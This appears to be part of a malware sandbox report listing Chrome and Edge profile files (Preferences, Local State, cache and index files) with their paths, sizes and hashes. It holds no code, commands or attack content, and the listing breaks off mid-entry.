SSDEEP 192:5BR8WaBfv7QvAPRp2/y9XxHsb+WNnnNzIXWHlIA21PrqVyIsnAUgR:5BR8Wg386XjfwNQWFIA212R
TLSH
T1F032C82EBA10793B6DDAD229F9217753D7F6102135E52E84E7FC8A2C15EB6CC2227017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 36bfd3a6e46df4c0e1629c66eb37d526ec9ac1d1e7cf989b6863dfe29a680b10
MD5 f0e9bddf38048163128080e6c002e221
SHA1 4daedad4e123028c361c9c913ca545063766f6ae
SHA512 7e61c55ed6eefe6d81370f63a63e968e6e7281e86ff83e95c3d7325a27814cda00e41d817a605ed92c3294c16a953ad99f9c3204c6cbf7e392b5bbb1c1a06b70
SSDEEP 192:5BRkWaBfv7QvdPRpZ/R9XxHsb+WNnnNzYPYylIA21PrgVyIsnAUgR:5BRkWg38NXPfwN8Y+IA21wR
TLSH
T13442C82AB910793B6DCBD229F9617753E7F6102235E52E84E7FC8A2C15EB6CC2217017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 722204877bb3e2f1df1718e49994e2059a2b5f1868965ba4ee05c6ae8284b478
MD5 0d0ea6605bf9ff09d37980cb96488565
SHA1 d5a8006c3c6d1d88c299649da69d6344ca788293
SHA512 7e8d1d3445d1fe39f932ba44783f99c797a230f4adac8265d04a447375693a5f1d40b1a1cc7734b12dcd32fc62afac858350dbb3838dcb7ea7efcfcbe1be0082
SSDEEP 192:5BRkWaBfv7QvAPRp2/R9XxHsb+WNnnNzYPY9lIA21PrEVyIsnAUgR:5BRkWg386XsfwN8YXIA218R
TLSH
T10132B72AB910793B6DCAD229F9617753E7F6102235E52E84E7FC8A2C15E76CC2227017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 b115b23cfff178d1829c4371603de360a6fb65f5b40fad9f9b37e809ffaee540
MD5 6054b1e5abcee5ad25abe4a45ac0d9a7
SHA1 fc4fadd5670ee1a9c77a0263cb14ac7e0107a305
SHA512 94c5ea3ee48cfcf9964a834a056a95f748a3d1f72cddc41fd28fb1a7e58f272bfd455240f99f4320be201e90879a6ae419ce2c522400059e47185fb121e99f4c
SSDEEP 192:5BRcWaBfv7QvAPRp2/R9XxHsb+WNnnNzYPYnlIA21PrqVyIsnAUgR:5BRcWg386XsfwN8YlIA212R
TLSH
T16032B72ABE10793B6DCAD229F9217753D7F6102135E52E84E7FC8A2C15EB6CC2227417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 85e93e7c7421935f0911b856282522aa7697c7f7f3e4e91fe9b68bdb1dee2254
MD5 17b14bf97159ca9e7782c9d7e031bfcd
SHA1 5412ddbb770ca1e448ec81ffd24d22720b4873e0
SHA512 fa87b1df3588a9d8536d2ca0322b2c03b19cf27561fcd164ff9c5ff208fc0e27dc790a5315f566f02886adf9352dd827c1148a40ca6a9d5dc8c58be7d73dfc76
SSDEEP 192:e294K6vX7KxkXqK4I40pUZNCgVLHrKHfFKslEClTXzKD/cb+ErUkKN9G6jBTK8/T:/9j0X7KxkXqKf/pUZNCgVLH2HfgslNT+
TLSH
T1B332D827A48D9A3F4FD8D519DC036F8B6DF5019272780C24A7FF5D0403A978E115A2EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
Size 72B
SHA256 0b20e2d71b506b75c2943ac6bf469986fcd78103643b1f0269cbe1fea6be3de6
MD5 0b3e9737831db381ba8e68a59a7e20e3
SHA1 ae65c3e0ea1c5605a6685d6f7aabe76e41ca3156
SHA512 678edee181f4b8c87613eb1400405fcdb15f26faddd2c827768efec1c3fc056e9c4028d7009475746f4a8ead5d3108abc497c6d217183a4e384ee6214d2d8b0b
TLSH
T187A0021841C09813EE56C27CEFE1C592239288657951435394D609488D5B2C34A01241
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5c12f3.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index~RFe5c12f3.TMP
Size 48B
SHA256 39b136046374ab4bd93001aae343b834c49316a8aa104b21eb109ba18e62e5b0
MD5 b29e6dcb2827051bdb1ef61c05e7e229
SHA1 6cd97b309ee918b87bf4e7a137406f2afe14ce71
SHA512 f0cc05295c54cf3efb67d78ce5317f6ba7d896272a92103a6e8bdd71766dad55b73ba5a79a40959d7285f8079b9c2cdf20e5c9353f04538b555f77db64c633bc
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 128KB
SHA256 0145b43448d6d483d89e5cc04ead9bc18e138f8df6060da63a57d0f1861b1295
MD5 8c4bff1a81333a800e8c96e105b81129
SHA1 aed001f925ca28474de0f90680e1c3ffa69a3575
SHA512 10bee937488ad5495f0e52a8c4453b3a2a0e47d2021927d6ae87c69853c9f6bf5e34eef52d38c7e1593b9443f9e797f6a66b5b7dc70b60c0515e2012397e974a
SSDEEP 3072:r0ycp4hk1OXqZ98w8g285FdvvhM++w6rgPHckxTKx:6461bZ9wg20MtriHc2S
TLSH
T191D30291647859B107D8D36CB7B21C023EF6C0CBA41D79FCA6EB536B69D4AA80661C83
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 130KB
SHA256 ee21f4fddd8c12ac3215039352271c26e5d77ece0dae0e9427f33c0901af7980
MD5 6a895b7d1aca8ed13deeec979aa0cdb4
SHA1 c27a9f4a9160e73de860cfffa0bae4bf48547026
SHA512 52115b45cb3a9ae6e1f8f4bc5d24e3fa01318f6c4ad90464e528a3c2e2355f478b6dee557629eb55ebf6caca86494a2383d41fd656b1b72a9ddc6a94f99fad26
SSDEEP 3072:/9ycp4hk1OXqZ98w8g285FdvvhM++w6rgPHckxTKx:v461bZ9wg20MtriHc2S
TLSH
T15CD312E1646C5DB10BD4875CB7622C023EF6D1CBA41C79FCB5EF635BA9D89A80912C82
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 6KB
SHA256 730499a9bf2c8ce5c38c314ddd34a3ecb4723def3dbdf3ec419350a5bb055231
MD5 65665e7ffe56c5750691f4d19deb95a6
SHA1 1c91444e76185a9ac68fa99aa01398c98e67774f
SHA512 b738e22b0e95b20e2e8c00aafa0a055ec8bf7356e8bfe213afb823501193b1913adcae8f29cfb9fe58776b4f42d650a3f92aa0635224512f9f63febbc923af72
SSDEEP 192:RtsITo+TQ0I0diU2exD5SIxrhjm+9t7rUR:RtFToS20dx4IxrVmmtUR
TLSH
T1C7D12A31A42C2C7715E7E145B1223A57CEB46057D962AF74EEEA0F1D01EB4EC2351533
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 5abb97932e38c523e2236d5cd31da1fc5e95d834de8a72a3f01b36a62b5e5a7f
MD5 18237e764d664abe7ffd19dd88f6c285
SHA1 fffd78aea5fc9a316a9fb5b5e44489088d979a21
SHA512 15163e89457be11fb8ad63888871fb711234ff5b52ef06f024c210e8ddf4610f03d293d3c6aab5ab1ddf19d372ec18af9b53174cea832612cb5aa745600eff54
SSDEEP 96:RC6Hd+r2io+TJ/E0f6m934QMofSl8h4otop5RGD3B6TGwvn0SvQxwzQwhj+9t7ra:RCsITo+TQ0I0diU2axD1SIxchj+9t7ra
TLSH
T18CC11A35A42C2C7715E7E145B0233A47CEB46167D962AFB4EEEA0F1E11EB4EC2351523
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 9e076d1026dee7d5f78582241556aa738062ec849c50d364d82576ae04c36ed7
MD5 9e00cec4ad1ff6c066f1c2c8cd2e9865
SHA1 e06bb9672ddba2bcb088c49f86dc327cf48a0249
SHA512 97398dc9cbd56e1ce13842e40a746376c0414e6c9156a1c91c691fc14dde4d5aae0577be526fb5c6a550326964e645ce9098abca6c21c13c39fae95cded3df03
SSDEEP 96:RC6Hd+r2io+TJ/E0f6m934QMofSl8h4otop5RAND3B6TGMvn0SvQxwzQXhjm+9ta:RCsITo+TQ0I0diU2exD5SIxrhjm+9t72
TLSH
T1F8C11831A42C2C7716E7E106B1223A47CEB46167D962AFB4EEEA0F1D01EB4EC2351523
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 8a84aab1176f85b853d742474a261d82793b3b06ddec5e86682f4d61e0bd134f
MD5 a15888d7faeb9c413e01e929c99bcb2a
SHA1 a38f3be9b7975d06a45f94ef058e450c38c35b71
SHA512 1373451fb82020db0d96bfe89fad45d02a2a926b3249070141bd90fcc79464925b4db408fb2a07dc5c28e65830a3bc3d7a895291145b159a4a0ce5079d92d4cd
SSDEEP 96:xC0d+r2io+TJ/E0f6m934zM4RDotok5RmD3B6nGyvn0b4T8tybJv4a:xC0ITo+TQ0InDUD6xPPb4T8tybl
TLSH
T175A10935E0285DB754B6D446B1626A43CFB97067E972AF90EADD0E0D15F70EC1341A33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b73d1269710263f89147c3df740b27dd3688500b4f89702088f2f5c5d7dc1204
MD5 5c816483e5559cb5228e88d336becbe3
SHA1 7a17ded2bda3b923dc276750c1681ea347208c58
SHA512 45993b5f4012d33839ff4c5800d7c41ae9d6bfbec17aa5a850cb8d67f6d95968858d1a5575b3f7dfcde33c9d1c510d3ee911797754f16af36423dca1441372ca
TLSH
T1C1D023703AA5F995D644213596900310A1555D736967530E6200D41DDE3D1C357DF4EF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 03c6dace27b2e3aa0979532986bd808a93069f0cafcaf837c8b670995c857e1c
MD5 8c4cf951107e5b280ed9e7ac8a071205
SHA1 49d901ddb38df628f281f952e83586016f904982
SHA512 522d93e60845552ba501a2e4fd29f0ded908062d6c4da93a1f8516ad4f307801fe47a5e3e4ad90bb34f49232ff0ecc6740e6d18fef2fc38ee22b76b2273315b8
TLSH
T132E07DC619CACA2FAA497ECB517C7B4C83A1370AD7DAB9BF370894847545040F6CB790
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 31ea582a264e4c364ee50d2376c2540816b8cf3845a30becbfdb5f51d02bf881
MD5 993a2a384d445435bd4eb980dda278a3
SHA1 d4b275d1335cb2235fd09a1904734b5bb651bbdc
SHA512 ba271e7a249f7b18b19dc73066c011bb85e5193b7c0e4a396c077a63703785863fce82cd604b6f6e9c60eed5199d573d5142e1b5f09ad770fff6452db4479f8a
TLSH
T178E020C654C6C65D9A44AC8792BC734D8180360A92C4F95B2F4085C8B501540BA93B54
MD5 SHA1 SHA512 TLSH

Submit Download

f_000073

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000073
Size 29KB
SHA256 945b1879933bbc5258e255af8c56c4875858f0129b99428afebf9ea8bc1c54d9
MD5 dc19fcb6d8c1dcead0ce6eb87aaf0d72
SHA1 f113f177cb1ce1d6350b71d905deeca581cb4e26
SHA512 d0427195840632ce55a634865ef43771957879ca1bdb55d8fad07a4996d4e0f3dfff8af583bd8365231e2b24c9d6880da5f7d82087d17e4bbad42bdc7544fed5
SSDEEP 768:tW5M611wnYrzb63j7R/KOjhAq+4uzCe++dK:Ev1hm3j7R/KQVruGl+dK
TLSH
T198D2E19BF3A18B478940263CB9734BC693FFA01424C5DD125758A8D47707FE0E8AA6F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fa697b4ba9b24570_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fa697b4ba9b24570_0
Size 3KB
SHA256 474ca354d97c61e634cd53a1df5ec2f638fd05d01d2c01ef8aa92ca0503fbaa4
MD5 a64cb0dfcb942d84d77a467b8df2df68
SHA1 1f55d6bac204ff9055306df67041f40112536bf6
SHA512 797e2736bec1900bb6f2f899549e117930b99afe98aa89fc46271ad63e6e3c5a8a382419ef5aa4e5855f3cf0ea55f407eea15102bc4a9ad02bac1263f74e0cb8
TLSH
T14151E9E6EB81BF6ED71506FE51864621E330811CD6CA520F22E1C7381D0A2F72F5BD05
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 45a5b6c0d7f203395b9e874099a6e219d24c7e900b2b534aa5833ec9e2cc3edd
MD5 62d10e0b51b430635e1344f3505630d3
SHA1 0c6d60898b2fd2a7664f4ab0af539632315d7137
SHA512 ae33503d5405931488d94c3f5192afc5ec45b08b237b5b6250fba80eb1859bb977dc501a2996694453f4941b279d6d9bae22935364354e3bee16cfc95aee0d1f
TLSH
T16B61945833AB0AE3D758497161E1145836F086B5CD47FBA6E04E9EB8D4E6F34D0D8217
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a3d1a.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a3d1a.TMP
Size 3KB
SHA256 7324cca9004e66be841e10c4526174521b594c1f077705eed1b56dc0e7aac7db
MD5 ac76736e47545fe1e401ba807e44db0f
SHA1 3e5dc6a9f3e3bf48d8281b392e9610dc9b209529
SHA512 77cd96817f0ac8d4979c65807707ce1694ee2ddfa3e582adef6ccbca7da9670181fea9f316ae2bebfc4a68c1bb187efbfc7ec33687bf0aea4670c01ab8a5b5f9
TLSH
T18561845423AB1AE3D32845B161F1149836F08AF5CD47FFAAA04E5EB8D4A6F34D0D8617
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 f5a1b68325eaca60ee03e81e8a7dcbc261b54bc00876dedce460cf45963bcb93
MD5 259bcf3aca931b20b0e3ae97a5e48652
SHA1 8629c60478cf62fbe55b81eb6cc5897b209ee3f0
SHA512 63cd5264905f594dcbf29e4fab1b6908849d6c37590e02dab7b181c4d22bfc46f9b8d843468628b00f572fcea02c080490a6776b7ca4966ef6bede78f44dd9e5
TLSH
T1DD519EF7C3E4C66EC91156F0AA186E1BCE6D0524432C3C5AC9E5AF1793E34B1E141A9F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 eb1cd313273a0b06919127b634a55938d95711db14532c9a8c07bbae9d21e766
MD5 58974e904abe7b897bc4ec2345846696
SHA1 b5398e45b352ac2da333fac194da8b58d70875b0
SHA512 3c51866dd755a7bab72f95fd3f3b3565d5ba91e2d356087144cb84fa15a6b16ab271c090d61090578bcbfb279fc0bcdbb67f4570394d463ddeffbe722672ac4b
TLSH
T173519DF783F4C66EC91196F0AA186E2BCE6C0514432C7C6AC9E0AF1793E3471E141A9F
MD5 SHA1 SHA512 TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 53696659142c81015d95331963888c75924cd3344a9c021a8311c1ea9df63f1f
MD5 0f964e090ae4264f4e270c1c15b0cc17
SHA1 25b406ac0b206dc1ae03628f374944237821a4c8
SHA512 3d8bf6f2c379afffbc710323512fab65e92bff356c78f2d424982e4afeecc02f59c53d745d1ba8cd22f3bed61897a71c5259afdce07698e972df45d2927f43a3
SSDEEP 192:sxRERYeS/fWsqwwGczoA8p9c/g6+WNPWFZYorCYkGjIgDXlJ:sxREdS/fWsqwpNO/50Z+AD
TLSH
T18842A815A928A93B8CC7E31DBA55BF53D3F9503261D52E48AAFC860C04EBBDD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 fda0997bcd97ea2a404138958f1fdff08c3fa13784712097e88129034fb83c98
MD5 5bf6b9dc8e2ecf7b04e4e1ec272c4298
SHA1 029e4fc926ad2eebc31d688de4093a86e54a5c76
SHA512 d4facde4a79980ef479443557e7cacb13e2cea6f3bf1cfc7de54f53cb7b2dea8516b3fb2f186febb57c1ad447b9a2d5187a247ea038f1e496cb79a8625ca5baa
SSDEEP 192:sxRjRYeS/fWsgwwGczoA8p9g/g6+WNPtifYoyCYkGjIgVlJ:sxRjdS/fWsgwpNy/5UfhAN
TLSH
T1B642A8156928B93B4CC7E31DBB55BF53D7F95132A1D52E48BAFC860C04EAADD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 de0227de9a8ff0d4733b0d85461c75f0467504d94407b575f8563c01fe5e2d8e
MD5 2e786438211e84a1c06ef7f7b2e7d77e
SHA1 4104f44e7657088ed6901d0c3d0d5c76c4c6a66b
SHA512 885f66ce6e49baac9717ba4a40518cb5cf7c2f196863297143b7cda280eb76414d03fa8d712ac2079653fc5cd60fdd8ed159e4ffafa2dc574497d4896fb2669a
SSDEEP 192:sxRERYCS/fWsqSHZ3/XKzoA8pXJI/g6+WNPCJZYomfCYkGjIgDVNJ:sxRE1S/fWsqS53PHS/5sZrAN
TLSH
T11D42B815AD28A93B4CC7E31DBA55BF52E3F9513260951E48ABFCCA0C00EBBDD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 7f37f856e3a82231b0612dae65551bd5b2af7ed69ba8fe557bf0ba23fe0f74db
MD5 07e3c3dc6273cea7865637932d8a01ae
SHA1 fe5dc16c3e2050d4891b830d1ba5a259e164e52b
SHA512 4499601eb15d4eadf8525133a90e5f410802eda6c4838289c85627795a9b623a06dae34060586334c1b4ce53b2d4976b489876971da36744bba022411c1bf637
SSDEEP 192:sxRERYCS/fWsqSwGczoA8p9JI/g6+WNPCJZYomfCYkGjIgDXNJ:sxRE1S/fWsqSpN8/5sZrA7
TLSH
T14E429815A928A93B8CC7E31DBA55BF53E3F95132A1D51E48A7FC861C00EBBDD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 34774b93dd3a59aced8ae65aba5e68e9dca71fe01cc6e26dfbd00f3c7d0fb47b
MD5 e5a5e14d09871977734a50ca97eb0289
SHA1 ff7b876ee1b9198c662f948dd663a9052e567ae8
SHA512 513457740396d76445cd6815b046c41b56edf05a3193dd5428ebc442f1dd33b29fc29c96dd64b0b0d46626eed43a6952dbba796fdbd4aaefbad125535fa75cd8
SSDEEP 768:j26HOo7pLuL7MRWgs2fw28F1+UoAYDCx9Tuqh0VfUC9xbog/OVXVuwCro97e0UrY:j26HOUE7MRWgs2fw2u1ja84wZ6Y
TLSH
T190C2CA7B640DCEBE4F800ADDDC197E9F6D6802CB9A98CD8047FE951C02C6BEA51164DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\4c16b758-e7f3-4749-8ffc-0ca0a5acc1e9\index-dir\the-real-index
Size 432B
SHA256 bafc42aeab08e7d233128d50a2fb662a46a181165dfccc43880bb41fe304b25f
MD5 ef51f63f3d4ec9db9019366bef62aa4a
SHA1 79cc4251327bcfcd934ff646c1c7fc96eb3416b0
SHA512 7f4de3657890380d9d491f26255c3755e4a47bdfb4f390a1fe3d2170f799e0ea003dd04e945a5b731cf93648d18780ec0e018c846eeef7bf944804dcca47142a
TLSH
T1BAE028C74C757163D93795BB123F100D333B09FD24056D5610BD202DD50213C830070A
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5e35d3.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\4c16b758-e7f3-4749-8ffc-0ca0a5acc1e9\index-dir\the-real-index~RFe5e35d3.TMP
Size 432B
SHA256 ebe4bbeddd3d88b9e0317866d61d1ecd734a29433fc0bd2c97396bd05b082573
MD5 eb628a1278036aee025a4e67adafda71
SHA1 6181ee7eb859b60b9a2741f4067224e541b25cef
SHA512 624434107a95920cc0bba54575e84fca8af3d42fe42d5738812e73d1981496041212c4f5a30cfc0d91e4170ce16ac1cabafc576cae64d52679a88d41e3a74cc5
TLSH
T1D0E07DEB01A0BD61D91655B621072019333F0C352425EA1E109A142E98213BC8651B06
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 371B
SHA256 97c56ffa4c8a322356fcf8ca4416a09869540590801f0098fd046cc22eb27387
MD5 07fa10f7b47dd365f406fa80dff43157
SHA1 e62dd5f095c1b8355ff34819fff60a48efc85568
SHA512 09b90a97d4c068fe895b402e401937a1c049a29e3acc8f5e4e3d69d9bcf00e52874e0024a8918617a75c6dc3f66389889bc40d3b7d6bbaf1ce9d2ffd588d4eae
TLSH
T1AFE0D8B73FD76814FCBF93F92871A898014179548509AC4F651EA2C610B12613957C21
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 2KB
SHA256 15f4a6138ebf2adcf960d2171997d44204e471a89dab6bad94c2d3d847880742
MD5 6e76dd24d4e51746e9e65226e8fdebb2
SHA1 52e65bbb879317ca210d63b2b1115c508f06670b
